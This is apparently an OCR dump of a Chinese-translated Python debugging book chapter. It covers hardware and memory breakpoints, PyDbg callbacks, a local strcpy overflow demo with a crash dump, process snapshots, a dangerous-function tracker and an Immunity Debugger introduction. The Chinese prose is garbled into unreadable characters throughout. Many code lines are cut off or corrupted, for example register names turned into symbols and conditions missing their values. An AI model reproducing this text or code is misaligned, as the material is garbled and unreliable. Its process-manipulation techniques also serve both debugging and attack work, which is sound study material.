FATELED printfO BB EbILTE 0x77c4186a, ARTEX B EM =, B—1HE
IRE R E A Windows iz BRI =it 4 B, B2 E 2 £t 7E
0x77c4186a, L FL 2 printf() ENEAIMbIE, BT IBefE, #EBENWMERER, AERK
MBYA R E 2R ER R, BT KL FEHFRT,



3.4.2 T M =

B %EIJ*E:E’JI?EJT,#\%E#&J?,M Wit %k BT B CPU X FFeRE L . T

A AINEY B2 mBHR T 318, AEREANRREN. BE—HREENSE
BEEiE, é?szﬁﬁﬁﬁﬁﬁltﬁ,mﬂ’]Bﬂb&%ﬁﬂﬂrlﬂ/\_ﬂﬂE’Jzﬂwi*ﬁrﬁ “ﬂF/I\zE'E_JFHE’J
APNELWEAT. © ARFBNERNRNFTEREEN, SUEGNRMAEE

EHRMNFEN AL,

BN FEARENMAELE, AEHENENN CPURARBRE N, BdBEIN
¥ N, FABEEL DRO ) DR3 HESMEF—1, L8 & Babrmithit,
Z BB ATE DR7 SE83HI%8 5 BOAL L% Bl S REMEM K E,

HEBEMANREZIIRNBELTRT, MTHHRENRAIE R XEENERE, L
T % RIEREE A5 4 RE, BNEEE =B INT1 (BT #E
), F M7t REMR YR 3 — N2 E L BRI RBERE, LBA5EMH

/W2 O

#my_debugger . py

class debugger():
def init (self):

self.h_process = None
self.pid = None
self.debugger_active = False
self.h_thread = None
self.context = None
self.breakpoints = {}
self.first_breakpoint= True
self.hardware_breakpoints = {}

def bp_set_hw(self, address, length, condition):

# Check for a valid length value

if length not in (1, 2, 4):
return False

else:
length -= 1

# Check for a valid condition

if condition not in (HW_ACCESS, HW_EXECUTE, HW_WRITE): rett

# Check for available slots

if not self.hardware_breakpoints.has_key(0):
available = 0

elif not self.hardware_breakpoints.has_key(1):
available = 1

elif not self.hardware_breakpoints.has_key(2):
available = 2

elif not self.hardware_breakpoints.has_key(3):
available = 3

else:
return False

# We want to set the debug register in every thread

for thread_id in self.enumerate_threads():



context = self.get_thread_context(thread_id=thread_id)
# Enable the appropriate flag in the DR7
# register to set the breakpoint
context.Dr7 |= 1 << (available * 2)
# Save the address of the breakpoint in the
# free register that we found
if available ==
context.Dr® = address
elif available == 1.:
context.Drl = address
elif available ==
context.Dr2 = address
elif available ==
context.Dr3 = address
# Set the breakpoint condition
context.Dr7 |= condition << ((available * 4) + 16)
# Set the length
context.Dr7 |= length << ((available * 4) + 18)
# Set thread context with the break set
h_thread = self.open_thread(thread_id)
kernel32.SetThreadContext(h_thread, byref(context))
# update the internal hardware breakpoint array at the use
# slot index.
self.hardware_breakpoints[available] = (address, length, conc
return True

{ R— >

Bt ALBNEH T8, BT —IPENARSEREHEFNR. —
BHEMNEEIZE 4L, %TEHME’JEXEHEE#&HME’Jﬂﬂﬂtﬁ)\ﬂﬁ%ﬁ%a SNFE %t DR7
s A TEIEYUMNER, Eaim,. AERNC2ESLRIBEART
BNEFEE L BERERM—D INT1 RN R E I8,

#my_debugger.py

class debugger():

def get_debug_event(self):
if self.exception == EXCEPTION_ACCESS_VIOLATION:
print "Access Violation Detected."
elif self.exception == EXCEPTION_BREAKPOINT:
continue_status = self.exception_handler_breakpoint()
elif self.exception == EXCEPTION_GUARD_PAGE:
print "Guard Page Access Detected."
elif self.exception == EXCEPTION_SINGLE_STEP:
self.exception_handler_single_step()
def exception_handler_single_step(self):
# Comment from PyDbg:
# determine if this single step event occurred in reaction
# hardware breakpoint and grab the hit breakpoint.
# according to the Intel docs, we should be able to check f



# the BS flag in Dr6\. but it appears that Windows
# isn't properly propagating that flag down to us.
if self.context.Dr6 & 0x1 and self.hardware_breakpoints.ha:

slot = 0

elif self.context.Dr6 & 0x2 and self.hardware_breakpoints.t
slot = 1

elif self.context.Dr6 & 0x4 and self.hardware_breakpoints.t
slot = 2

elif self.context.Dr6 & 0x8 and self.hardware_breakpoints.t
slot = 3

else:

# This wasn't an INT1 generated by a hw breakpoint
continue_status = DBG_EXCEPTION_NOT_HANDLED

# Now let's remove the breakpoint from the list

if self.bp_del_hw(slot):
continue_status = DBG_CONTINUE

print "[*] Hardware breakpoint removed."

return continue_status

def bp_del_hw(self,slot):

# Disable the breakpoint for all active threads

for thread_id in self.enumerate_threads():
context = self.get_thread_context(thread_id=thread_id)
# Reset the flags to remove the breakpoint
context.Dr7 &= ~(1 << (slot * 2))
# Zero out the address

if slot ==

context.Dr@ = OxO0000000
elif slot ==

context.Drl = Ox00000000
elif slot ==

context.Dr2 = Ox00000000
elif slot ==

context.Dr3 = Ox00000000

# Remove the condition flag
context.Dr7 &= ~(3 << ((slot * 4) + 16))
# Remove the length flag
context.Dr7 &= ~(3 << ((slot * 4) + 18))
# Reset the thread's context with the breakpoint remove
h_thread = self.open_thread(thread_id)
kernel32.SetThreadContext(h_thread, byref(context))
# remove the breakpoint from the internal list.
del self.hardware_breakpoints[slot]
return True

j S o

KAREZEM ; Y INT1#HEP (flg) R, 2 EBEREHARSTHESRESX
BEfE A= GBiz4m DR6) . MNRBRESFAMM L, BENRETILERE
BIHbiE % 23— RS, FUY DR7 Mt EAES, EEPM—INSFHESRPIEA
W s B, S FRAETX my_test.py FIE printf() Lk BFEGHMnEE.



#my_test.py

import my_debugger

from my_debugger_defines import *

debugger = my_debugger.debugger ()

pid = raw_input("Enter the PID of the process to attach to: ") debt
printf = debugger.func_resolve("msvcrt.dll", "printf")

print "[*] Address of printf: 0x%08x" % printf
debugger.bp_set_hw(printf, 1, HW_EXECUTE) debugger.run()

{ S— >

EADRREIRTE printf() L BT — MR, REARERH, S mxEYt. i
ﬁ%&ﬁ%—f?%oW&@&EWT&?@%¢%M%KT
my_debugger_defines.py X ; #HBIZEi5 7 HW_EXECUTE % &, X # $E5REE
X025 B 5T,

BEITEHHESERWOT -

Enter the PID of the process to attach to: 2504
[*] Address of printf: 0x77c4186a
Event Code: 3 Thread ID: 3704

Thread ID: 3704
Thread ID: 3704
Thread ID: 3704
Event Code: Thread ID: 3704
Event Code: Thread ID: 2228
Event Code: 1 Thread ID: 2228
[*] Exception address: 0x7c901230
[*] Hit the first breakpoint.
Event Code: 4 Thread ID: 2228
Event Code: 1 Thread ID: 3704
[*] Hardware breakpoint removed.

Event Code:
Event Code:
Event Code:

Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704
Event Code: 6 Thread ID: 3704

6

6

6

6

2

Listing 3-4: & IB—PNEGIT REHRIRF

—tIEEmAR, EFMEHRE, KEEFBRTR. SHLETE, BFRas:
BAMNITRE, AEBNPRELARGFEEFHFEGMKGNRT, KEXRER
RFRT R IE,



3.4.3 NFIT R

RE—TNEZANNEERAEN =, ABUREBIN T, EEE 09— 1T AERUFRIE
it (TEEEMARERIRERN) , —BRET nEA), EEMLE TER
R, EHERK #R4 (guard) T, % CPU 2iXiy# X #NEN, M —1
GUARD_PAGE_EXCEPTION ®&, 1At mHZREABRE, 71 mEa Rk
SRLFEI, &AL % EIIT,

A TR EE TENADN, MERARAEABERE —THERHNBGAKR
N, X H GetSystemInfo()ER#TEM, HEREE— SYSTEM_INFO g4y, X
M EE wPageSize X7, XMRRIERZRFTTERAKRN,

#my_debugger . py

class debugger():
def init (self):

self.h_process = None
self.pid = None
self.debugger_active = False
self.h_thread = None
self.context = None
self.breakpoints = {}
self.first_breakpoint= True self.hardware_breakpoints = {}
# Here let's determine and store
# the default page size for the system
system_info = SYSTEM_INFO()
kernel32.GetSystemInfo(byref(system_info))
self.page_size = system_info.dwPageSize

J =

E2EBRAT AN, BETHRE L 9FZEH n AR, B—FrHMNE e
NEM R FETHREFEENF— 7 H. AR VirtualQueryEx() K%, FEFZ—1
MEMORY_BASIC _INFORMATION % #, EMNE#HHEET nHER, R
HMTELI T




SIZE_T WINAPI VirtualQuery(
HANDLE hProcess,
LPCVOID lpAddress,
PMEMORY_BASIC_INFORMATION lpBuffer,
SIZE_T dwLength
)
typedef struct MEMORY_BASIC_INFORMATION{
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;

L ER 4 BaseAddress B2 M E & EN R 7 ERIFF AL, HETE
FA VirtualProtectEx():x B[R, BEREMAT :

BOOL WINAPI VirtualProtectEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD 1pflOldProtect

);

EHEMNEFERD, BMNFeE 2 MERIK, EP—1NEESFEELXETHT
H&RPF R, 53— 1TEETHENREN R, ELE GUARD_PAGE_EXCEPTION
FEN ZREATE. 2ERINEN Rt b, UEREBRNKEzERR, (F
Jy W Rt B AT BE MRS 2 D RE)



#my_ debugger.py

class debugger():
def init (self):

self.guarded_pages = []
self.memory_breakpoints = {}

def bp_set_mem (self, address, size):
mbi = MEMORY_BASIC_INFORMATION()
# If our VirtualQueryEx() call doesn’t return
# a full-sized MEMORY_BASIC_INFORMATION
# then return False
if kernel32.VirtualQueryEx(self.h_process,
address,
byref(mbi),
sizeof(mbi)) < sizeof(mbi):
return False
current_page = mbi.BaseAddress
# We will set the permissions on all pages that are
# affected by our memory breakpoint.
while current_page <= address + size:
# Add the page to the list; this will
# differentiate our guarded pages from those
# that were set by the 0S or the debuggee process self
old_protection = c_ulong(0)
if not kernel32.VirtualProtectEx(self.h_process,
current_page,
size,
mbi.Protect | PAGE_GUAI
byref(old_protection))
return False
# Increase our range by the size of the
# default system memory page size
current_page += self.page_size
# Add the memory breakpoint to our global list self.memory._
return True

J — >

AERMNECZ2EESZBERNEFRT . WRALIEIN printf() B2FE A MK 4R, R
HE B ixEx R E G £ Guard Page Access Detected, it B —H45F
E, MERXRAEBRN SR TEEIE, —BRFEAHEG A, RREE—1TRE, X
ERASBRTENERFRE 1, AERFEFRHENIT. PRFEMENN, &
BRANEAESE, MAFENLKER 12, ESftg eHx, Fighis, 2T
REHAF, BR AW XPREK, 18) , HEFTIHH,

Bk

BRIALERNB2F L T —PNETF Windows M2 2 %58 :X58, st o) B8 X2
B7 G =, BERXTRELZEENTRAR, TAMNRMAERXEIEEER, E
DIERAHBA XM HRIREESBARE Z M T &£t 4., HEESIERAXES, iLtEE



YFA. XLEREiLIREESE | oy |

T— 2RI T AXSRNELAE, 2% =2 PyDbg # Immunity Debugger, &1
K F Em B E#AE T Windows BIRRA, $#8FF PyDbg T{ERI A, {RIGEEIE
ZHERNATE, HEERZNEATHEE, Immunity i8iX252 HE 2T
E, HRHTIEESTEN® R, BAEXEMNEARFERRESAETTFHME
ABEFHILEXIEEEE, FETEHE PyDbg L&, T35, BELET ing.



4 PyDBG-—-4: PYTHON 35X 23

#E 6 EE AT 3 BN 7E windows F#iE— A AR HiXER, REEARH
ARBNT, 2 FHBEEMNTRTX—H KITE, X0, 4izE50maT, &8
3B PyDbg, # X 2%, FIED, X MR, HAAKRER,
PyDbg B4 F 2006 &, H 43 Montreal, Quebec, R % Pedram Amini, 1H%
B METIEHEZR PaiMei B9800 A, M 7E PyDbg E2FATFEMEBERNITEZ
T, BEdEIE Taof (GEERITH fuzzer fKIE) ioctlizer (& FF % B9— N4t x¢
windwos Iz # HJ fuzzer) . AL ABIAPE, FRAMARIET (Python BIGF L L
ENAEBNFRBEEE) . BEEACkRy B TTRKIEINEE, BETESLHE &
BiEFmR, #BEREZREER Fuzz RERANARE, lfst AT, I, BEF
T



A1y BRIt

HEREMEY PIHAHET BEH L2 BRI IERXEHNAEL, B PyDbg AL
BE ZHyr BxM™IbeE, REEHE—TH FEIAWELARE, HKEI—MNAERE
HretfE, B AERBHITERAE SLBIRIE, il BUSEitEE, sBFFES
%%ﬁ,ﬁﬁmﬁoﬁﬁ%&ﬁ,ﬁﬂﬂmﬁﬁ%ﬁﬁ%,WEWﬁﬁmﬁﬁo

PyDbg % B B #HIBT R EVINF -

bp_set(address, description="", restore=True, handler=None)

address 2 % BERIBT mpOHhE, description S8 Ak, ARLB MBI REEMH—
HBF, restore RET BEEEM AL LUGEHTXE, handler I5RETfif
% ot %A FARIELA K . MrmOLaERBRBER—1SE, 72 pydbg() %= FE
stR, MBI ETXXEIE, & 18, #12(E REELLAREH A BNt ix, KIEER
S

LA printf_loop.py # X BAx, iEFHA1=H—DEELBIEIAE K, L/k?M]T:T:
prlntf() ERE E TR, LUE LB printf() s H et A EIBISE counter T2, 2ERA—

E1 100 HUBE B XN T ENE, EHBITHHE, oF, FNEEB4H
L.*EWKEE B, BEx EexirafER. XIEBEMEXR ! HIE—
printf_random.py X, 4% A TEHR A,



#printf_random. py

from pydbg import *

from pydbg.defines import *

import struct

import random

# This 1is our user defined callback function

def printf_randomizer (dbg):
# Read in the value of the counter at ESP + 0x8 as a DWORD
parameter_addr = dbg.context.Esp + 0x8
counter = dbg.read_process_memory(parameter_addr,4)
# When we use read_process_memory, it returns a packed binary
# string. We must first unpack it before we can use it further
counter = struct.unpack("L",counter)[0]
print "Counter: %d" % int(counter)
# Generate a random number and pack it into binary format
# so that it is written correctly back into the process
random_counter = random.randint(1,100)
random_counter = struct.pack("L", random_counter)[0]
# Now swap in our random number and resume the process
dbg.write_process_memory(parameter_addr, random_counter)
return DBG_CONTINUE

# Instantiate the pydbg class

dbg = pydbg()

# Now enter the PID of the printf_loop.py process

pid = raw_input("Enter the printf_loop.py PID: ")

# Attach the debugger to that process

dbg.attach(int(pid))

# Set the breakpoint with the printf_randomizer function

# defined as a callback

printf_address = dbg.func_resolve("msvcrt", "printf")

dbg.bp_set(printf_address,description="printf_address", handler=prir

# Resume the process

dbg.run()

j S s

IMFEE 1T printf_loop.py # printf_random.py & P34, #H 2 REFIFE 4-1 8
124,

Table 4-1:38 X 23 A 2 72 B0 45



Output from Debugger Output from Debugged Process
Enter the printf_loop.py PID: 3466 Loop iteration 0!
Loop iteration 1!
Loop iteration 2!

Loop iteration 3!

Counter: 4 Loop iteration 32!
Counter: 5 Loop iteration 39!
Counter: 6 Loop iteration 86!
Counter: 7 Loop iteration 22!
Counter: 8 Loop iteration 70!
Counter: 9 Loop iteration 95!
Counter: 10 Loop iteration 60!

A T ABREER, i MFEE printf_loop.py 3,

from ctypes import *

import time

msvcrt = cdll.msvcrt

counter = 0

while 1:
msvcrt.printf("Loop iteration %d!\n" % counter)
time.sleep(2)
counter += 1

SeiBBAA— s, printf)EZMX 1 counter 2 EHEE counter I3 1, FEHTE
printf EREXARER, it B L IEREFA =2 A EIA EHIX /S counter(C i2EFT IR A
i IRH T REE IERICR T ),

1’]<}1;?E I, 8iX231E printf /&R EIEE counter TEH 4 BaH g 2 B T M=, X
2 R A counter FIHIREIMNHIZEE 2 A4 T (X2 H T;J:K%?E 'JXJ‘J:IZ
REANARRRBT) - AHIRREE printf_loop.py B & EZ 3 %B/—EIE
B8, 4 E’Jﬂﬂlae, printf() #Z AT, PIEBEY counter %EZBJEENI“E%@ 32'134\15]?@
%2 HBRK, ©EKTMHRERRBE £ EBsHEN{R 42058 RS B E LR
£, MIELFME—F PyDbg 22 2 AIEFARZH,



4.2 23855 5] %51

YRR 2 X5 P AR E AR 9 B 1 A e RSE L — M A S EN AR5 F NF
By eHiE, B~ %5 afl. $EEHIEERSERERIT, MAFRHIITEHMR
BEIEHEE Bulgt, MZE2AEEE, E— Ny EflfrzFmieE s, BAe
1A AT REM A A,

LA RER IRy F] B ARk, FELREMAEMEFABEXINER, RIER, FF
7, HURSIEBAINES, EERNMEs AXEERE—TMREFSEE—
DB T X,

PyDbg 8E4% R A BRI 2 s — D55 7] LIEEE K, ##m.‘:l:'.*ﬁ?&E’J#U BR. ZRH
i Bini 2B C KE strepy(), BB BE—1NRBURHNER, BT
EKHEMNBE— # 5/ PyDbg %ﬂﬁﬁﬁﬂﬂi‘ﬂx‘ﬁ%#%ﬂﬁﬁﬂo i BRI
buffer_overflow.py, X=30F :

# buffer_overflow.py

from ctypes import *

msvcrt = cdll.msvcrt

# Give the debugger time to attach, then hit a button
raw_input("Once the debugger is attached, press any key.")
# Create the 5-byte destination buffer

buffer = c_char_p("AAAAA")

# The overflow string

overflow = "A" * 100

# Run the overflow

msvcrt.strcpy(buffer, overflow)

o] 2 H1E X B8] msvert.strepy(buffer, overflow), #ES B iz — N84, ML
HEHR— 1N T2, HEFESIE overflow é{’ﬁaéﬂﬁﬁﬁ BB LB E L EHh it A
(0x41414141414.....) , AIEX NI B2 RAIERTERM, A EHRMNE2HE
7K A, %"F%E%&JE&F To



# access_violation_handler.py

from pydbg import *

from pydbg.defines import *

# Utility libraries included with PyDbg
import utils

# This is our access violation handler

def

pid
dbg
dbg.
dbg.

J

check_accessv(dbg):
# We skip first-chance exceptions
if dbg.dbg.u.Exception.dwFirstChance:
return DBG_EXCEPTION_NOT_HANDLED
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
print crash_bin.crash_synopsis()
dbg.terminate_process()
return DBG_EXCEPTION_NOT_HANDLED
= raw_input("Enter the Process ID: ")
= pydbg()
attach(int(pid)) dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, ci
run()

1] 2

M 7E 5 1T buffer_overflow.py, Hiz TEM#ES, BNty EFeELETRUEH:E

7o

#AT access_violation_handler.py X, # AniXEMHH PID. &7 X 2N E # 12
UiE, TN XEAFN%inRirEms, BTRFRLZFIME 4-1 BERGH.



python25.

dll:1e071cd8 mov ecx, [eax+Ox54] from thread 3376 caused ac

EIP: 1e071cd8 mov ecx, [eax+0x54]

EAX: 41414141 (1094795585) -> N/A

EBX: 00b055d0 ( 11556304) -> @U " B 0x, "0 )Xb@|V "L{0+H]$6 (he:

ECX: 0021fe90 ( 2227856) -> !$4|7|4|@%, \!$H8| ! 0GGBG)00S\o (stac

EDX: 00aldc60 ( 10607712) -> VO 'w W (heap)

EDI: 1e071cd0 ( 503782608) -> N/A

ESI: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (he

EBP: 1lelcf448 ( 505214024) -> enable() -> NoneEnable automa (st

ESP: 0021fe74 ( 2227828) -> 2? BUH  7|4|@%, \!$H8|!0GGBG) (stacl

+00: 000000060 ( 0) -> N/A

+04: 1e063f32 ( 503725874) -> N/A

+08: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |

+0c: 00000000 ( 0) -> N/A

+10: 00000006 ( 0) -> N/A

+14: 00bO55cO ( 11556288) -> @F@U" B 0x, "0 )Xb@|V "L{0+H]$ (he
disasm around:

0x1e@71cc9 int3

Oxle@71cca int3

0x1e@71ccb int3

0x1le@71ccc int3

0x1e@71ccd int3

0x1le@71cce int3

0x1e@71ccf int3

0x1e071cdO® push esi

0x1e0@71cdl mov esi, [esp+0x8]

0x1e071cd5 mov eax, [esi+0x4]

0x1e071cd8 mov ecx, [eax+0x54]

Ox1e071cdb test ch, 0x40

0xl1leO71cde jz 0x1e@71cff

SEH

0x1eO®71ce0l
0x1eO71ceb
0x1eO®71ce8
OxleB®71cea
Ox1e071ceb
Ox1eO71ced
0x1e0@71cf0
Ox1e0@71cf2
unwind:

mov eax, [eax+0xa4]
test eax, eax

jz 0x1e071cf4
push esi

call eax

add esp, 0x4

test eax, eax

jz 0x1e071cff

0021ffe® -> python.exe:1d00136c jmp [0x1d0O2040]
ffffffff -> kernel32.d1l1l:7c839%9aa8 push ebp

J
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Listing 4-1 : PyDbg 1R EIMFE ZER

WHTRZERANERRM, E—NHAEHTBMERSIL T REBUKRIES
R N3 B, INMERAUEE REHRRAFMBEFXERFRADITIESWH
BHERRE, BEZHMo#at TESFEaNE, FiE8NE, BN EAXE
EKT 0x41414141 (0x41 2 KE A I+ S#EIRT) - B, HMEZE ESI



TEHT—AEEIAQEEZE’J%T‘P$ 1 ESP+08 fgsmRE—1 A, B=ED STEHE

E’J gﬁfﬁﬂﬂ’ﬂi/[%hﬂo RE— i s EE FMNE HitREREBRER
5l

Fi PyDbg #E— 1 FHFa X BREFREX LM £, TRESBHEHLIERR, &
BEE EEREINMHARBLEN—Y, T%, F1H PyDbg Bz ZNERIRIRINEE 62
—/N# T2 rewinder,



4.3 F#HIERER

PyDbg 2t 7 — 1 IEEEERIZNRE, #RRIR, FERA#RRBAR, FHAIREER K
A A2, RIAHBENAERE. UERNBE LA R PR S, REE
AN RIB RBHIT T,

4.3.1 #SH#HTERE

B—F HE—MEBRN f RE DB A RRHBARER. H T HESRIRE S8,
T ETIMBELENUR CPU X, aB#RENEITAE, FREMEEF#E
%k, TRIA FEMREREBHHEFERE,

A TRHEE R BURBRR et %, SEMBIRERARER, SEG#HRRERR, X
ME %M suspend_all_threads()5efk. EE#E2E, TLA
process_snapshot()ik BXRIR, RHRSE i fE, F resume_all_threads()ik & =L
R#FE, LRSS NIT. SETHZBNTEN #BWESIMEIRPRE, & 28
process_restore()FliT T, XBRRXKEBFBAMET ?

MIEFTEEA snapshot.py X% T, KBHIHEEFL 114 A "snap"BIsH iz 22—
IRER, # A'restore"BYnt (& 2 F2 1k S B R BB ot BOIR 5



#snapshot.py
from pydbg import *
from pydbg.defines import *
import threading
import time
import sys
class snapshotter(object):
def init (self,exe_path):
self.exe_path = exe_path
self.pid = None
self.dbg = None
self.running = True
# Start the debugger thread, and loop until it sets the PII
# of our target process
pydbg_thread = threading.Thread(target=self.start_debugger’
pydbg_thread.start()
while self.pid == None:
time.sleep(1)
# We now have a PID and the target is running; let's get a
# second thread running to do the snapshots
monitor_thread = threading.Thread(target=self.monitor_debu
monitor_thread.start()
def monitor_debugger(self):
while self.running == True:
input = raw_input("Enter: 'snap', 'restore' or 'quit'")
input = input.lower().strip()
if input == "quit":
print "[*] Exiting the snapshotter."
self.running = False self.dbg.terminate_process()
elif input == "snap":
print "[*] Suspending all threads." self.dbg.suspet
print "[*] Obtaining snapshot."
self.dbg.process_snapshot()
print "[*] Resuming operation."
self.dbg.resume_all_threads()
elif input == "restore":
print "[*] Suspending all threads." self.dbg.suspet
print "[*] Restoring snapshot."
self.dbg.process_restore()
print "[*] Resuming operation."
self.dbg.resume_all threads()
def start_debugger(self): self.dbg = pydbg()
pid = self.dbg.load(self.exe_path)
self.pid = self.dbg.pid
self.dbg.run()
exe_path = "C:\\WINDOWS\\System32\\calc.exe"
snapshotter (exe_path)

j S 2




BABE—FTEBTERARSSRENE—INFLE, HFRALExBHmrasiE, BaERED
FHIATE, FREEEBLR XM EMA X BRNRIES T, XEBIMMATEIRERS
SHITIREN sz, MARRBHAXARETIF. HBEFAXAENKLRLETHER
B PID, BMFLGIE B — &R, BZEMNHAAXRSS, ZEXTNXERER
T AR S RAERRIRE (R B, RERR, 2R/ ER) .

Bzt BREH 07, BERYBIBRFRARTE, TLUEBHNEL,

EBETES Ba#1TyMNRE, REFYMH A'restore”, REEE, +EEMOF
T RBAR A, FAXMAEHRMNESNAERETETERNGENR S,

RIE LAV BT PyDbg %157, 1B —1 fuzz #BITE, #EEIF1KE
® 4 RAE, FEHIREBFREEMN,

4.3.2 BERKAE

HBE2NE T —L PyDbg IFEERAMINEE, BETEREHNE—NITERERRKRK
B FhEanaTfBANRRE, ERNTEENFL 38H, BERHMIIFEELBR
B, REZEMK 2 PG, FRHEH, URNELEE, dXERPFTEERX
pa

TEREMTFELEE, HERERECNMAR. ERMAARBEERART, N
4 R 4 NSEEMEI R, A, FEERS =SB A #2RE, 10
RixRp e HB7T, BAMWHEIASEARERER, REEARZBIBRE, FMX
FiR, 25347, B R CHEINTHITHRS, BEEEZEMNMEBME T 5
i i35 B, =HHF 1T 5T T MAX_INSTRUCTIONS (BB % s SHE) .
T bz LIREE — N ER BRI EREBRiG AMBIRI R, 2 XIREHE
crash BUBEMUFE T, X2 EHBMMRE MBERFNE—T,

Fh 3, I danger_track.py, # A TEBR S,

#danger_track.py

from pydbg import *

from pydbg.defines import *

import utils

# This 1is the maximum number of instructions we will log

# after an access violation MAX_INSTRUCTIONS = 10

# This is far from an exhaustive list; add more for bonus points d:

"strcpy" : "msvcrt.dll",
"strncpy" : "msvcrt.dll",
"sprintf" : "msvcrt.dll", "vsprintf": "msvcrt.dll"

}

dangerous_functions_resolved = {}

crash_encountered = False

instruction_count = 0

def danger_handler(dbg):
# We want to print out the contents of the stack; that's about
# Generally there are only going to be a few parameters, so we
# take everything from ESP to ESP+20, which should give us enol
# information to determine if we own any of the data esp_offset



print "[*] Hit %s" % dangerous_functions_resolved[dbg.context.}

while esp_offset <= 20:
parameter = dbg.smart_dereference(dbg.context.Esp + esp_ofi
print "[ESP + %d] => %s" % (esp_offset, parameter)
esp_offset += 4

dbg.suspend_all_threads()
dbg.process_snapshot()
dbg.resume_all_threads()
return DBG_CONTINUE
def access_violation_handler(dbg):
global crash_encountered
# Something bad happened, which means something good happened
# Let's handle the access violation and then restore the proce:
# back to the last dangerous function that was called
if dbg.dbg.u.Exception.dwFirstChance:
return DBG_EXCEPTION_NOT_HANDLED
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
print crash_bin.crash_synopsis()
if crash_encountered == False:
dbg.suspend_all_threads()
dbg.process_restore()
crash_encountered = True
# We flag each thread to single step
for thread_id in dbg.enumerate_threads():
print "[*] Setting single step for thread: Ox%08x" % tt
h_thread = dbg.open_thread(thread_id)
dbg.single_step(True, h_thread)
dbg.close_handle(h_thread)
# Now resume execution, which will pass control to our
# single step handler
dbg.resume_all_threads()
return DBG_CONTINUE
else:
dbg.terminate_process()
return DBG_EXCEPTION_NOT_HANDLED
def single_step_handler(dbg):
global instruction_count
global crash_encountered
if crash_encountered:
if instruction_count == MAX_INSTRUCTIONS:
dbg.single_step(False)
return DBG_CONTINUE
else:
# Disassemble this instruction
instruction = dbg.disasm(dbg.context.Eip)
print "#%d\tOx%08x : %s" % (instruction_count, dbg.conte
instruction_count += 1
dbg.single_step(True)
return DBG_CONTINUE
dbg = pydbg()



pid = int(raw_input("Enter the PID you wish to monitor: "))
dbg.attach(pid)
# Track down all of the dangerous functions and set breakpoints
for func in dangerous_functions.keys():
func_address = dbg.func_resolve( dangerous_functions[func], func
print "[*] Resolved breakpoint: %s -> 0x%08x" % ( func, func_ac
dbg.bp_set( func_address, handler = danger_handler )
dangerous_functions_resolved[func_address] = func
dbg.set_callback( EXCEPTION_ACCESS_VIOLATION, access_violation_han(
dbg.set_callback( EXCEPTION_SINGLE_STEP, single_step_handler )
dbg.run()

{ S— >
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EReK, A ENYE, Ba#biAiX. Tkﬂﬁ%mﬁi&%ﬂ’]ﬂﬂlﬁ HMEBDHF
BERE, BTFERNTE W Immumty Debugger 4 7T X ), TEMZET BAFIE
XA Ko Eﬁ‘éwﬂ’]’% W, M. iEFRATk L



5 IMMUNITY----52 57838 iX 28

FEEIALEEMNE20ET BECAXSE, BFXT s PyDbg MIFEA,
T IMMUNITY 7, IMMUNITY [R T REZENA » R@HN, cHRBEBRARN
Python &, F5E BRFEZEIE, exploit FF%, BESMZ AN IIELTBIEES
¥, limmunity BIFHLEE T 3 5B XFIFRA DN, & B Python BFEE L0
B4 B ERE, BTREFIEAZES Immunity BIER, 3 — 5 BIRF3E exploit BYFF
% FfRE A X bypass R,



5.1 ZZ& Immunity 8 X 25

Immunity 83X 28t T BH £ THIARA, BILLE http:/debugger.immunityinc.com/
T#. T&H BEMNHTMITREFIET, E®HHXH, a¥E python2.5, FERITHIE
2T HERBE KR,


http://debugger.immunityinc.com/

5.2 Immunity Debugger 101

ERFIREARH immlib A2, %£EFT Immunity B9,

ol x|
N

o EE Hx e I T 1 emtwhePkbzi
= | Fealstecs (FA0

Irwrwarity Deboagge: +1 T3 HOAR BUGS. * Meed suppot? vis: bigcf o immuniire cond' * Fimady

5-1:Immunity ;8iX 28 £ 5@

BIXBRAEEDK 5 NEEMN, £LEAZ CPUENO, 2RTEELAEBHNAZM
RiC %iES. ELARSEHREN, L TAMEBATES. £ TARREEAQ, U
+R#FF X g RMEMHE R FHIREFR. ETARKATO, A BRHEAT
BaENERESHE (EAEREN APIAR) . XKETEEBHNEOZMSE, REEsw
{& WindDbg — #{# Fer 51258 X328, =& #1T PyCommands.

5.2.1 PyCommands

£ Immunity A #4T Python B9 7&EN{# A PyCommands, PyCommands fi2—1
A python IR, FAE Immunity 22 8 %8 PyCommands X# %8, &1
python BIA#R#1T— ™NME% (hooking, BEADHEHR) , HYT—1
PyCommand, &1 PyCommand #35—1 FEN L H. LT —NE4HE
iR

from immlib import *

def main(args):
# Instantiate a immlib.Debugger instance
imm = Debugger()
return "[*] PyCommand Executed!"



PyCommand & & M & 5tt, —D main)E#, RER—1SH (BMESHA
EXEJ python FI5R) . % — i & FEREREBIIT TR EYN 50RE— D FRF
£, REEHT ARBFEREIRER, WITHSZBIN AT MR — PR

—

To

I<scriptname>

5.2.2 PyHooks
Immunity X222 T 13 L RE % BH hook, H— hook #BEE £ ML 3, HE
#k A PyCommand.

BpHook/LogBpHook

L — BT A % BeH R, X Fh hook FA=#AA. @ hook BHELL, FRT
BpHook #¥ fifi % et %, =LA XH#FE, M LogBpHook A= LE# 38X 89
#i2,

AllExceptHook
FIEMNZERER =A% X hook,

PostAnalysisHook

E— N EREO TR R, X5 hook it , XIEEER, UREMERE
By TR EEE# — S HITH AR, oiE, TH immlib st —MEx: 3
ITEREANE =h 2 BOAR 23 2 BT SR S D AT X D& A,

AccessViolationHook

X hook B 17 B Bl % . B AT fuzz Bed & B LR IE R,
LoadDLLHook/UnloadDLLHook

2 — DLL #%00#k 50E& EN &k AUt Al % o
CreateThreadHook/ExitThreadHook

=P EEENE BRI IRM L.
CreateProcessHook/ExitProcessHook

